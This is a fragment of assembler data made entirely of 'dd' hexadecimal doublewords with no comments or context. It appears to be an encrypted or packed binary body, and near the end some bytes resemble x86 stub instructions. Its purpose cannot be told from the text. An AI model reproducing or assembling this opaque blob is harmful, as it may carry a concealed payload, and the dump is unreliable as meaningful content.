dd 8C77A790h, 2FC1F410h, 2027D63Fh, 0AB41D57Dh, 833DCD81h dd 0EB41D63Dh, 821BA690h, 0EFC1CD10h, 8C77B390h, 2FC1F410h dd 2027D63Fh, 4465097Dh, 833DCDA4h, 0EB41D63Dh, 821BA690h dd 0EFC1CD10h, 8C77B790h, 2FC1F410h, 2027D63Fh, 1FFBDF7Dh dd 833DCDCAh, 0EB41D63Dh, 821BA690h, 0EFC1CD10h, 8C77BB90h dd 0EBF9B110h, 6627D609h, 0E3D71260h, 636C185Ch, 861A5A46h dd 0D3DDFCABh, 63F51AF0h, 5F1CB798h, 0B6BB37F1h, 9907B79Ch dd 0E3D737FFh, 636C185Ch, 38C35A52h, 0D3DDF5A4h, 63F51AF0h dd 5F1CB798h, 0B6BB37F1h, 990BB79Ch, 0DB9237FFh, 636C2E98h dd 0A0644715h, 82087B90h, 63797510h, 996E506Bh, 826CD7A0h dd 0F2A7BF10h, 9914D62Ch, 4B0DBBC5h, 0A041D8EAh, 82087B90h dd 90797110h, 991A481Ch, 826CD7A0h, 0F2A7BF10h, 9914D62Ch dd 570DBBC5h, 0A041D8EAh, 82087B90h, 46797110h, 99741382h dd 826CD7A0h, 0F2A7BF10h, 9914D62Ch, 530DBBC5h, 0E541D8EAh dd 823EBFA8h, 26643210h, 4CC1B7D3h, 0E0737F1h, 0ED229A16h dd 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCD28h dd 4CC1B7D3h, 0E0737F1h, 837904C0h, 4EF487EAh, 0E30537F1h dd 63A00B81h, 0E3ABE2EAh, 63FBCD2Ch, 4CC1B7D3h, 0E0737F1h dd 8C8800F4h, 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh dd 63FBCD54h, 4CC1B7D3h, 0E0737F1h, 0E2D39E22h, 4EF487EAh dd 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCD50h, 4CC1B7D3h dd 0E0B37F1h, 0F117A2C1h, 4EF487EAh, 0E30537F1h, 63A00B81h dd 0E3ABE2EAh, 63FBCD5Ch, 4CC1B7D3h, 0E0B37F1h, 9F4C3C17h dd 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCD58h dd 4CC1B7D3h, 0E0937F1h, 0AE154B5Ch, 4EF487EAh, 0E30537F1h dd 63A00B81h, 0E3ABE2EAh, 63FBCD40h, 4CC1B7D3h, 0E0937F1h dd 0BAD57F9Ch, 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh dd 63FBCD44h, 4CC1B7D3h, 0E1137F1h, 0FA391F22h, 4EF487EAh dd 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCD4Ch, 4CC1B7D3h dd 0E0737F1h, 0B4F7C23Fh, 4EF487EAh, 0E30537F1h, 63A00B81h dd 0E3ABE2EAh, 63FBCD48h, 4CC1B7D3h, 0E1637F1h, 9B6086FFh dd 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63F52FD8h dd 4CC1B7D3h, 0E0337F1h, 84BA6B8Ch, 4EF487EAh, 0E30537F1h dd 63A00B81h, 0E3ABE2EAh, 63FBCD74h, 4CC1B7D3h, 0E0337F1h dd 0D7DF52D7h, 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh dd 63FBCD70h, 4CC1B7D3h, 0E0337F1h, 0B984CC01h, 4EF487EAh dd 0E30537F1h, 63A00B81h dd 0E3ABE2EAh, 63FBCD7Ch, 4CC1B7D3h, 0E1B37F1h, 0F872C07Dh dd 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCD78h dd 4CC1B7D3h, 0E0B37F1h, 0A1DE492Ah, 4EF487EAh, 0E30537F1h dd 63A00B81h, 0E3ABE2EAh, 63FBCD8Ch, 4CC1B7D3h, 0E0337F1h dd 9C795C59h, 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh dd 63FBCD88h, 4CC1B7D3h, 0E0337F1h, 0A52416D8h, 4EF487EAh dd 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCDB4h, 4CC1B7D3h dd 0E1B37F1h, 0B29952D9h, 4EF487EAh, 0E30537F1h, 63A00B81h dd 0E3ABE2EAh, 63FBCD64h, 4CC1B7D3h, 0E1B37F1h, 0F8CB665Bh dd 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCD60h dd 4CC1B7D3h, 0E1B37F1h, 0B7311A5Dh, 4EF487EAh, 0E30537F1h dd 63A00B81h, 0E3ABE2EAh, 63FBCD6Ch, 66E0367Fh, 0E443205h dd 66222215h, 0F3EE327Fh, 636C3D8Ch, 4BCDB79Ch, 0E3AF37F1h dd 63FBE5DEh, 62E2E2EAh, 6654327Dh, 46225A15h, 667B3215h dd 6911A7EAh, 0E3CD37F1h, 63C61998h, 62E0B79Ch, 26E237F1h dd 6654327Dh, 66225A15h, 667B3214h, 6911A7EAh, 0E3CD37F1h dd 63C618F8h, 75A8879Eh, 0FB0337F1h, 63A028B0h, 7273879Ch dd 0FB9837F1h, 636C205Ch, 7CE1AF9Eh, 6DA937F1h, 6911CB96h dd 6682ED91h, 6156215h, 0E3ABF226h, 63F52848h, 66880EABh dd 42303115h, 658F5435h, 0ED311651h, 128B4A65h, 18CF1231h dd 2F9FBB0Dh, 0E314D635h, 6C0D3DEAh, 8E443215h, 6622231Bh dd 6611A3FCh, 0B1036315h, 0EF40E07Eh, 823CEF80h, 0E155810h dd 66882215h, 99445847h, 822DAB80h, 0DF94BB10h, 0ED8DD617h dd 0B9AC6BC5h, 30223205h, 425531B8h, 0B903A531h, 0C8840042h dd 99DBB71Ah, 4D4FCDEAh, 0B10360EEh, 4BCD8F9Eh, 0AFA137F1h dd 0ECD101EAh, 20490013h, 0A7C3369Eh, 0AE113AFCh, 8C943D5Fh dd 0ED77CDEAh, 3C94C5D4h, 0A4A1309Ch, 0E3EE6011h, 636C2848h dd 7C19A79Eh, 0F31B37F1h, 63F5125Ch, 6682B61Ah, 381E3215h dd 8F26F496h, 99EECD8Eh, 3FE96C4Fh, 77C1F54Dh, 6627D602h dd 0A1113215h, 82A64390h, 66443210h, 879FB115h, 6614D8EBh dd 6680B61Ah, 0FBC93215h, 63C86F1Bh, 0E3EEE1EAh, 636C2128h dd 75798F96h, 694637F1h, 66115097h, 5B0DF515h, 6741D606h dd 6223215h, 99A88798h, 0DB0537FFh, 63AF2E31h, 0B1A9CC3Eh dd 4B988F9Eh, 0AF0B37F1h, 0EC8401EAh, 20E30013h, 0A796369Eh dd 0AEBB3AFCh, 8CC13D5Fh, 0EDDDCDEAh, 5FC1C5D4h, 8295EB90h dd 71C03D10h, 0E5223215h, 823357A8h, 0E3873210h, 6644321Fh dd 402BB7D2h, 661037F1h, 0DFE93215h, 4285A730h, 8A0199AFh dd 0D3989F64h, 636C2644h, 66B874D2h, 5B223215h, 88FFDCFBh dd 66A8B71Ah, 58C53215h, 0BBFFEFC8h, 6605B71Ah, 604F3215h dd 66443215h, 0EF26F496h, 820563A0h, 6E71DB10h, 0BECF3215h dd 402BB726h, 0AED037F1h, 0A74A1916h, 0A77722D5h, 402BAF9Ch dd 662C37F1h, 69883315h, 66447796h, 0DD1CB315h, 69AA89AEh dd 66880B90h, 6642F515h, 0E5223215h, 0D39836D3h, 636C2644h dd 7CE1AF9Eh, 6DA937F1h, 0ED71E29Eh, 7B0D19D7h, 0A741D634h dd 0E32130F5h, 63F51474h, 0A78B9F83h, 7A60769Ch, 665EDB74h dd 34403215h, 0F303FB26h, 63A030ACh, 0E22D302Eh, 6611322Dh dd 278CF096h, 460DBF2Eh, 0E32D37F1h, 99EECDFDh, 98168798h dd 0DBC937FFh, 63C63714h, 69D1B6B9h, 66883491h, 97AD9815h dd 0DEDDCDEAh, 66113215h, 2AB8BF98h, 87BB37F1h, 7C7FBF9Ch dd 3F4B37F1h, 0C315B943h, 0ED41D60Fh, 3BA7B91Eh, 0B714D60Fh dd 0C30D31F5h, 5541D611h, 0CB44A4E3h, 6513D2D4h, 82AE5390h dd 65E9A410h, 0DBA16CD4h, 63F51278h, 5F0C3D14h, 5D443215h dd 820AD798h, 4B953D10h, 5D883215h, 82674B98h, 47A63D10h dd 5D113215h, 82878B98h, 73C03D10h, 0EB223215h, 8D02CE88h dd 0ED5BCD10h, 0D3C1BBEDh, 8F27D633h, 661134A1h, 7574AF98h dd 0B5BB37FEh, 464F8F96h, 691137F1h, 66882F91h, 0D3C10915h dd 6927D615h, 66113E91h, 1B0D0915h, 6941D630h, 66223790h dd 99A8DB15h, 0E3B3CDEAh, 63A02714h, 663AB71Ah, 0DB923215h dd 636C1B80h, 6DC13D15h, 0EB223215h, 8CD3BF90h, 991DDB10h dd 0E37FCDEAh, 63C62714h, 9998B61Ah, 0DB0BCDEAh, 63AECC8Fh dd 71A73D14h, 5D113215h, 8C76CB90h, 6DC13D10h, 0EB223215h dd 3EF79290h, 99E5DB15h, 9977CDEAh, 42EB8F96h, 691137F1h dd 668B5591h, 83C10915h, 1327D8EBh, 7F94B912h, 218DD601h dd 98A9B72Eh, 615737FFh, 79C4B79Eh, 5DCF37F1h, 8CBADB90h dd 0ED254710h, 820DC790h, 0E3B37510h, 63AECCE4h, 0E3A93560h dd 63F5261Ch, 930D0952h, 1341D8EBh, 23A7B912h, 2114D604h dd 9871B72Eh, 613137FFh, 6FBFB79Eh, 5D5637F1h, 8C76CF90h dd 0ED434710h, 82047F90h, 0E32A7510h, 6362CD14h, 0E3CF3560h dd 63C61468h, 63940952h, 138DD8EAh, 0B7C1B912h, 2127D619h dd 9918B72Eh, 61FD37FFh, 7DB1B79Eh, 5D6537F1h, 8CEE2390h dd 0ED8F4710h, 82581390h, 0E3197510h, 63FBCD18h, 0DB0B2260h dd 63A02E98h, 0ED254715h, 8205F790h, 0DB0B7510h, 63A03EB8h dd 5D2D4615h, 8CEEAB90h, 0ED8F4710h, 825E7B90h, 0DBA17510h dd 63F51F3Ch, 0E5FA4615h, 82488BA8h, 0F563210h, 996CB72Eh dd 61FD37FFh, 6705B79Eh, 5D6537F1h, 8CEEBF90h, 0ED8F4710h dd 826F9F90h, 0E3197510h, 63FBCD94h, 0E3033560h, 63A03F30h dd 0F7A70952h, 1314D8EAh, 370DB912h, 2141D63Fh, 99B7B72Eh dd 616437FFh, 57C5B79Eh, 5D0337F1h, 8CDDB790h, 0ED164710h dd 82AADB90h, 0E37F7510h, 63C8CD9Ch, 0E39A3560h, 636C2C04h dd 0DFF9B152h, 6627D619h, 641BB61Ah, 0E3B33215h, 63AECD00h dd 0E3A93560h, 63F53A20h, 0CF0D0952h, 1341D8EAh, 87A7B912h dd 2114D615h, 9991B72Eh, 613137FFh, 45DBB79Eh, 5D5637F1h dd 8C772F90h, 0ED434710h, 82206790h, 0E32A7510h, 6362CD34h dd 0E3CF3560h, 63C610A4h, 43940952h, 138DD8EAh, 0EBF9B105h dd 6627D609h, 0E39A3560h, 636C2F28h, 4FC10952h, 1327D8EAh dd 0EB94B912h, 218DD61Ch, 9969B72Eh, 765737FFh, 7A9C8F96h dd 138837F1h, 37C1B912h, 2127D612h, 9920B72Eh, 61FD37FFh dd 4069B79Eh, 5D6537F1h, 8CEE0790h, 0ED8F4710h, 82645790h dd 0E3197510h, 63FBCD28h, 0DB0B2260h, 63A02E98h, 0ED254715h dd 82057790h, 0E3B37510h, 63AECD2Ch, 0DBA12260h, 63F52E98h dd 0ED8F4715h, 82505390h, 0E3197510h, 63FBCD54h, 0E3033560h dd 63A03684h, 23A70952h, 1314D8EAh, 70DB912h, 2141D605h dd 996BB72Eh, 616437FFh, 4B11B79Eh, 5D0337F1h, 8CDD7F90h dd 0ED164710h, 829A2F90h, 0E37F7510h, 63C8CD44h, 0E39A3560h dd 636C136Ch, 33C10952h, 1327D8EAh, 0B94B912h, 218DD638h dd 991DB72Eh, 615737FFh, 4084B79Eh, 5DCF37F1h, 8CBB6F90h dd 0ED254710h, 821C7B90h, 0E3B37510h, 63A02FD8h, 0E3A93560h dd 63F53FA4h, 70D0952h, 1341D8EAh, 0E3A7B912h, 2114D63Eh dd 9915B72Eh, 7F3137FFh, 99878F96h, 131137FFh, 0B35B11Ch dd 6641D635h, 0E3A93561h, 63F52A24h, 0C70D0952h, 1341D8EAh dd 0C39FB10Ch, 6614D8EAh, 0DB0B3B60h, 63A01278h, 0ED254615h dd 82067B90h, 0E3B37510h, 63AECD70h, 0E3A93560h, 63F529C0h dd 0F0D0952h, 1341D8EAh dd 7A7B912h, 2114D602h, 99E5B72Eh, 613137FFh, 433BB79Eh dd 5D5637F1h, 8C774390h, 0ED434710h, 822A8F90h, 0E32A7510h dd 6362CD60h, 0E3CF3560h, 63C61AD0h, 1F940952h, 138DD8EAh dd 53C1B912h, 2127D61Dh, 0E21ECD1Eh, 66883210h, 99BFD8FCh dd 0F7A709EAh, 6914D618h, 66883990h, 0F3C1BF15h, 8F27D8B5h dd 99EEC9C6h, 4699B72Eh, 0E34B37F1h, 6622320Dh, 988B8F96h dd 698937FFh, 66443990h, 45A7BF15h, 8F116AF3h, 9977C9BAh dd 9891B72Eh, 0E22D37FFh, 66113219h, 9851B72Eh, 0E34B37FFh dd 66223210h, 99EAA0FCh, 66888CEAh, 98C73215h, 23A73D14h dd 5D113215h, 8C76FB90h, 6DC13D10h, 0EB223215h, 3E73D690h dd 9DE5DB15h, 0E37FCDEAh, 63C8CCD8h, 661AB71Ah, 0E3053215h dd 661C514Fh, 99D964FCh, 0B79409EAh, 698DD8EBh, 66443990h dd 0F9A7BF15h, 8F116A76h, 9977C92Ah, 67FAF29Eh, 6D223215h dd 63943DE3h, 8F883215h, 99BBC936h, 0D3ABC29Eh, 63F53634h dd 6BC9879Ch, 58C437F1h, 40A73DFCh, 0ED113215h, 988B336Bh dd 0A5C5EC9Eh, 66227215h, 62308F2Eh, 0E48737F1h, 6644321Dh dd 0E02DC92Eh, 66113210h, 9972D4FCh, 0EBF9B9EAh, 0A127D63Eh dd 8235D790h, 66883210h, 0D3CD5215h, 63C63F54h, 7FCCAF98h dd 0B57737FEh, 6666B01Ah, 0FBAF3215h, 63F89334h, 0E587E1EAh dd 99BBCDCBh, 6B63879Eh, 0D39837F1h, 636C16F0h, 3AF2AF98h dd 0B5DD37FFh, 6230B79Eh, 0E30137F1h, 63A03F54h, 20BFBF74h dd 9914D903h, 4815BFC6h, 9941D90Ch, 6AA13DC6h, 0E5113215h dd 82857390h, 0B8AD3710h, 0EBDDCDEAh, 8D086588h, 695BCD10h dd 66443A96h, 62E0B115h, 661100FCh, 4715BF15h, 9941DBB4h dd 6DA13DC6h, 0ED113215h, 828573A0h, 61C4DB10h, 0EBA93215h dd 63F53F54h, 6BC9879Ch, 0A86F37F1h, 9709EBE2h, 0F0F896E6h dd 0EB77CDEAh, 8C193C88h, 0EDF1CD10h, 0EB9419D2h, 0EF8DD63Eh dd 8247CB90h, 0EBA7B910h, 3114D63Eh, 0E505BF45h, 9941D848h dd 8BA7B9C4h, 3614D63Fh, 0EB0DB942h, 3641D63Eh, 3B90BF98h dd 0B7EE37FFh, 0AE03E29Eh, 4CA9BF3Eh, 0DBA137F1h, 63F52B70h dd 4D0C3D15h, 0ED443215h, 8231AF90h, 3941910h, 5D8DD60Ch dd 71C23DD4h, 0ED223215h, 8200CB90h, 30D3110h, 0EF41D60Ch dd 82048790h, 6652DB10h, 0EDD93215h, 99497AD4h, 2622321Ah dd 758CB79Ch, 0E38937F1h, 63A00300h, 7F47B7D2h, 661137F1h dd 26E23215h, 6654327Dh, 66486315h, 6988A7EAh, 0F37737F1h dd 63A02F40h, 77DBB79Ch, 0E39837F1h, 636C14A0h, 0D3F1CD4Ch dd 9927D633h, 823BDFA0h, 0D3776510h, 63A01998h, 466B798h dd 0B6EE37FFh, 7FEDBF14h, 0DBCF37F1h, 63C614A0h, 4CFC879Eh dd 0C27B37F1h, 7215879Eh, 0A18F37F1h, 6611CE53h, 0A6493215h dd 0F3613710h, 0E32116D4h, 63F52880h, 403DBF9Eh, 6ECD37F1h dd 9A64F5B8h, 66113215h, 72D9879Ch, 9EC737F1h, 46A73DEAh dd 0E7113215h, 0BB55EF2Bh, 72C13DC8h, 0A1223215h, 66113213h dd 624EB115h, 7215879Ch, 80CB37F1h, 0A7EECDE3h, 0E38B31D5h dd 63A02880h, 457F8F96h, 691037F1h, 6688AF91h, 0CC7AB315h dd 698898BFh, 66112090h, 624EB115h, 66B874D2h, 0F1223215h dd 65F8DBA5h, 0F1883215h, 0E514DAA5h, 82025FA8h, 0E21E3310h dd 6688322Bh, 664532ADh, 879FB115h, 6614D8EBh, 6680B61Ah dd 0FBC93215h, 63C85790h, 5991E1EAh, 6E0C3D85h, 0E5443215h dd 25CB37D2h, 0E5113215h, 0E48762EDh, 6644321Fh, 3E88A2A5h dd 6635DBBFh, 0CCD03215h, 8FBB4D95h, 663AB71Ah, 0DB923215h dd 6362CCF4h, 6EC03D15h, 0EB223215h, 8C746788h, 0EE5BCD10h dd 0E3CF3652h, 63C614A0h, 8E92F53Eh, 0A1259911h, 6644CE53h dd 77CB3215h, 0EFEECDEAh, 829C63A0h, 662C6010h, 0C223295h dd 0DFA4CD15h, 998DD617h, 824BCB80h, 0EBA96810h, 63F528B0h dd 668833D2h, 0A7C73215h, 0C3AFBB11h, 8F14D60Fh, 9977C705h dd 664296FCh, 0EBA95215h, 63F528B0h, 0EB013B9Eh, 63AECCC8h dd 326C0A94h, 0E31E7E51h, 66883209h, 623CB373h, 0E32D1C59h dd 66113205h, 0A00BC29Eh, 3FC1B913h, 8F27D638h, 66113313h dd 0B603C29Eh, 5AE8FB26h, 3BA63D15h, 5A113215h, 890C3D38h dd 5ABBCDEAh, 5BA63D3Bh, 5A113215h, 660A3D25h, 5A443214h dd 0B1A43D2Ch, 5AEECDEAh, 960A3D54h, 5A443215h, 0A1A43D4Fh dd 5AEECDEAh, 0D90C3D4Ah, 5ABBCDEAh, 0BEA03D74h, 5A113215h dd 0C90E3D6Fh, 8FBBCDEAh, 662232DEh, 69C70957h, 6688F091h dd 8F057815h, 99DDCD8Fh, 0E21EFB90h, 668832A6h, 6A998798h dd 0ACA937F1h, 48A1C89Eh, 9F0D3DBBh, 4DBBCDEAh, 4DFBC5DAh dd 95E6B5ECh, 99CFF4B1h, 0BBD1BF15h, 0ED27D619h, 8233D390h dd 6948B710h, 66442890h, 2FA7F415h, 2114D63Fh, 0FC2FE07Dh dd 93F1CDC1h, 0EB27D633h, 817C0290h, 3458CD10h, 0A6C1E2EAh dd 661AB71Ah, 0E39A3215h, 636C162Ch, 0E34BF290h, 6622320Fh dd 4C58B7D3h, 0EC437F1h, 0BF9E2EFCh, 40D787EAh, 0E39C37F1h dd 636F5F25h, 9916E2EAh, 69E2B7C5h, 66113790h, 66A9DB15h dd 0E3CD3215h, 63C8CCC8h, 0E39C6445h, 636F5A97h, 0A64FE2EAh dd 6627B71Ah, 62F83215h, 0EF883215h, 7581651h, 0EBA952D6h dd 63FBCCC8h, 6549B945h, 0F6CF0E55h, 6622329Dh, 402CA79Ch dd 9E8D37F1h, 0ED443215h, 0F3AB3E45h, 63F52D84h, 42CCB94Dh dd 5D851931h, 823DA390h, 76933D10h, 5D883215h, 82620F90h dd 62A13D10h, 7113215h, 78836D7h, 666036D2h, 0A1223215h dd 66151651h, 0DE883215h, 66443210h, 2A12BF98h, 87EE37F1h dd 5A8EB875h, 58C03DFCh, 5A223215h, 24953DFDh, 5A883215h dd 74C03D1Ah, 5A223215h, 59953DD8h, 5A883215h, 2FC03DFEh dd 7223215h, 674FB8D6h, 0E678D195h, 0E34BB2EEh, 99DDCDFAh dd 0A592EC9Eh, 64D63113h, 664426FCh, 677CB915h, 69EAC996h dd 66881B91h, 659AB915h, 0A5A1334Bh, 99D8DB10h, 0D087CDEAh dd 8DC7334Bh, 0DAA63D3Bh, 8FEECDEAh, 6688321Fh, 98454C95h dd 998FB71Ah, 6F8CDEAh, 3077CDEAh, 55136144h, 0BEA89ED5h dd 0E6E1D195h, 0E28742EEh, 664432F9h, 0E22D3D29h, 66113230h dd 0E287DB29h, 66443391h, 0E22DD929h, 66113000h, 0E287D129h dd 66443264h, 0E22DD029h, 66113056h, 38D1694Ah, 0CBC1F5D6h dd 6027D8EAh, 0EC113215h, 966BB20Bh, 69C4C995h, 99DDD190h dd 0E39A7CEAh, 636C3634h, 42A1A79Eh, 0B8A937F1h, 6517F196h dd 0BEB3304Bh, 664CB01Ah, 0BC193215h, 99AFB41Ah, 0B9A3CDEAh dd 42D996h, 0F58954B8h, 62D7B1BEh, 0EFAC0E9Ch, 0EF481661h dd 822F73A0h, 3F4A6D10h, 624CB14Bh, 99BE52FCh, 0CBA7F5EAh dd 6414D8EAh, 0ED883215h, 68F23DCBh, 69A2CB95h, 66113A96h dd 25513115h, 66443FFCh, 99CBB215h, 8790EBE2h, 668832EAh dd 0E3CFEB3Eh, 63C63634h, 42F4A79Eh, 0DB0B37F1h, 63A02504h dd 0C5A63D14h, 5D113215h, 0FD0A3DCDh, 5D443215h, 27A03DCFh dd 8FEECDEAh, 6688329Bh, 99E9B7D2h, 662037FFh, 0B89A3215h dd 0E686841Ah, 0E54BB2ECh, 6622321Dh, 8F52EB16h, 66883218h dd 91BBDB95h, 99C3B3CCh, 4D113215h, 470DB9CCh, 0ED41D611h dd 8206D780h, 77ACB110h, 678DD602h, 660CB61Ah, 0BE193215h dd 6619B01Ah, 0BCB33215h, 98A2B41Ah, 0D66CCDEAh, 689B981Ah dd 8708B2A5h, 0CC85381Ah dd 8DA1ED3Eh, 0E5BAA111h, 0D30130D3h, 63A03F54h, 7133B7D2h dd 661037F1h, 0A20B3215h, 0E51D6911h, 0A2A136D1h, 9F66DB11h dd 0D6C6CDEAh, 0A0CF98FCh, 8EA1F53Eh, 0A2929911h, 38D16911h dd 8F40F696h, 99DDCBD2h, 99BCB7D2h, 668D37FFh, 0B8CF3215h dd 6526F196h, 4794B90Bh, 0ED8DD611h, 8260D780h, 0DBA17C10h dd 63F51C64h, 650C3D14h, 5D443214h, 6EA03DCDh, 5D113215h dd 4D0E3DCFh, 0EF443215h, 822F73A0h, 0CB8CB910h, 678DD8EAh dd 8F481649h, 662232CBh, 1794F54Ah, 678DD63Bh, 3D443215h dd 0A2A16C4Ch, 9EE6DB11h, 0DB0BCDEAh, 63A02504h, 0DDA63D14h dd 4D113215h, 828C1388h, 0EBC9B910h, 6527D63Eh, 0E5DE19DEh dd 8F3837FCh, 0E5EFA3BFh, 3F7936D1h, 62D5B14Bh, 99711CFCh dd 0CBC1F5EAh, 6427D8EAh, 0ED113215h, 683E3DCBh, 69C4CB95h dd 66223A96h, 25C83115h, 66883FFCh, 99ADB215h, 87A3EBE2h dd 661132EAh, 0E303EB3Eh, 63A03634h, 42C7A79Eh, 20F837F1h dd 0A177CDEAh, 8CBB9F90h, 66223010h, 69CFB915h, 9F083CA3h dd 6EC73D95h, 65223215h, 6BF871CCh, 0E6883215h, 0BFB3CDFCh dd 66DDD394h, 0BF3A3215h, 62A9B79Eh, 0F3CF37F1h, 63C616F0h dd 71008F96h, 698937F1h, 99BAFB91h, 69FA09EAh, 66113A97h dd 69520915h, 99B95593h, 0A8A97CEAh, 8F92FD3Eh, 0CC618210h dd 0EEAD9984h, 0ECDDCDEDh, 69F90E13h, 66883491h, 7EADCA15h dd 35223215h, 3812EC9Eh, 634BB114h, 4DEEDAA5h, 62C9B1CAh dd 0E54A9986h, 0A57137D3h, 60CF5444h, 0E22DF129h, 66113255h dd 0E287F929h, 6644322Dh, 0E22DF029h, 6611322Dh, 0E287F829h dd 66443225h, 43DD0F73h, 6621B61Ah, 5BEE3215h, 0E34BCD3Bh dd 66223218h, 4213749Fh, 69280EE5h, 66441191h, 8FDA6B15h dd 6611322Ch, 8FC9FB26h, 6644320Ch, 662231ACh, 661EDB15h dd 60313215h, 8F443215h, 66223210h, 661135ACh, 0ED2CC115h dd 8260D798h, 69EBB710h, 66113490h, 833DBB15h, 3F41D631h dd 0ED44F1ECh, 69D20E13h, 66885791h, 0E69CB815h, 9DA2C2F6h dd 0FA953D65h, 5A883215h, 29C03DFCh, 5A223215h, 21953DFEh dd 5A883215h, 59C03DD7h, 5A223215h, 51953DDEh, 883215h dd 6961CD28h, 66221F91h, 69DB0E15h, 66881791h, 69A70E15h dd 66225091h, 482C5415h, 6B0D3DEAh, 0EC443215h, 96063053h dd 0E21E9229h, 66883213h, 664BDBEDh, 0D3AB3215h, 63F516F0h dd 3A3EAF98h, 0B5BB37FFh, 0ED72F1ECh, 0E3982253h, 636C1308h dd 7A82B14Dh, 40438F98h, 65BC37F1h, 0CDAC1651h, 71158F98h dd 658F37F1h, 36351651h, 0C335BFBEh, 0CB41D611h, 4E067616h dd 30D26CBEh, 3A07AF98h, 0B5BB37FFh, 0FFFF95FCh, 4ECEDFFFh dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A7AF6127h, 2AA8ED96h dd 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h dd 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh dd 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h dd 0D554A851h, 0D7BA8660h, 4DCE2559h, 0F14060F3h, 0CD6A32DCh dd 71BA8FFFh, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h dd 2FBE4E26h, 9CDF0746h, 0D55142B6h, 5E0003C6h, 835492B8h dd 0A4F305E9h, 31E4CB8Bh, 5DB1DABAh, 2FEB3256h, 0BDD5D9BCh dd 113C5253h, 0D05B6B57h, 63B977DDh, 79F4B951h, 31B575DFh dd 1A382213h, 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 9C34F436h dd 0E983D67Ch, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 65D117FBh dd 0D525F890h, 0ADFDF53Fh, 929F25F5h, 0CFB73422h, 0B723AC7Ah dd 1A20AD29h, 7975FD7Ah, 79987C27h, 0A07017A3h, 0C5ADEBFFh dd 83C87D7Fh, 0A4F305E9h, 0BD8DDB8Bh, 5EAFFB9h, 1AA08D8Dh dd 44B805EBh, 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h dd 0FFF2850Fh, 0C08BFFFFh, 16A1BD83h, 750005E4h, 0DBD8309h dd 5E422h, 53501974h, 11B8C08Bh, 89000004h, 0E41A5585h dd 529D8D05h, 0FF05E6A9h, 83585BD3h, 0E4220DBDh, 17740005h dd 11B85350h, 89000004h, 0E41A5585h, 0F39D8D05h, 0FF05E6A5h dd 8B585BD3h, 0A4F2BBC0h, 8EB4672h, 0 dd 6DFE22D3h, 4E5E9h, 1D506800h, 83E905EBh, 68FFF961h dd 5EB1DD2h, 0F96179E9h, 1F3568FFh, 6FE905EBh, 21FFF961h dd 8A9037AEh, 0DC4649CEh, 2FFB9A1Dh, 779332ADh, 0D3444BC6h dd 8900B5E4h, 0DF581C06h, 73F462B8h, 8601B66Ch, 0D4297807h dd 54F00256h, 77FBD0D6h, 0EB714BC6h, 9FEAED6Ch, 4ACD8D26h dd 0C849B619h, 0AC54E910h, 88EE516Bh, 8C54E910h, 0ED7F4DCEh dd 3DAEE69h, 18B37BA7h, 87E5DAB9h, 0E554E910h, 0EDDE591Bh dd 0B37AA620h, 33F8F2D0h, 2F939h, 5E485C00h, 7FF87AA0h dd 0EC6E2792h, 0C07BF129h, 0CF9E7BE8h, 0E910B9F6h, 0B93C6654h dd 0D990AA3Eh, 0E4D90A5Eh, 804C8F2Bh, 0FA75F921h, 5B9875EEh dd 524E764Eh, 0DFBE3CE9h, 6A5B65E6h, 0BC0DA4Dh, 0EABBC790h dd 6A499795h, 2B8E454Ch, 801923D0h, 3DE0D506h, 0A703615Eh dd 4C014C6Ah, 524C87D5h, 29A434E1h, 261FFE7Ch, 524EE0D4h dd 8138BFEBh, 535F382Bh, 76E53DE0h, 8D4AD0F7h, 71FBAD0Ah dd 480029A1h, 30FE9h, 3DB42700h, 4FC8809Ah, 0E067D248h dd 38B325FDh, 51C88D95h, 0CBDED94Eh, 12088F0Ah, 78A225A2h dd 0CC5679F2h, 72098C0Fh, 350D213h, 0DEAC54F0h, 0ED6FD881h dd 0F87A4B2Ah, 744F04E5h, 0E77D683h, 54F00253h, 0C2A09D7Ch dd 0F954F001h, 0F001A684h, 0A9D50654h, 0E701AD66h, 73E0F877h dd 92435F3Eh, 2BAA7017h, 1681E9ACh, 326BA82Fh, 9A4D0FC8h dd 54F0C993h, 6851C88Fh, 280F4F6Ah, 8DA60FCDh, 0A5000002h dd 0E14BB32h, 50CACD4Ah, 0A37F1E99h, 0B17B631h, 5FC8CF4Ah dd 0D844960h, 0A3DC908Ah, 0F770E63Ch, 0A8D4AD0h, 50ADFC8Bh dd 54F002D2h, 0D87F5452h, 0D52AED6Fh, 54F0027Eh, 0FD74F921h dd 9E1A74EFh, 0F9782498h, 0BF707AD7h, 44343A2Dh, 0CB9F54F0h dd 2B350EC7h, 93A63400h, 0F1000001h, 7349C077h, 8834852h dd 0CCD683B0h, 0D1C98C0Fh, 8E09CB1Dh, 9AEDF05Dh, 82E8AF2Dh dd 0E35F5109h, 309740F7h, 0E95B0ACFh, 13A96A54h, 0E92E4A2Ch dd 0FD258554h, 0F9154F34h, 41B833h, 0D8DF0000h, 0D52AED6Fh dd 54E90860h, 9E411BDCh, 54E90798h, 0FE46AC33h, 74F6CFDAh dd 0F054E92Bh, 847DD33Fh, 20E49AEFh, 172B9D9h, 5C060A54h dd 28769276h, 0C7907033h, 0F9AF90F3h, 0C8F933h, 771C0000h dd 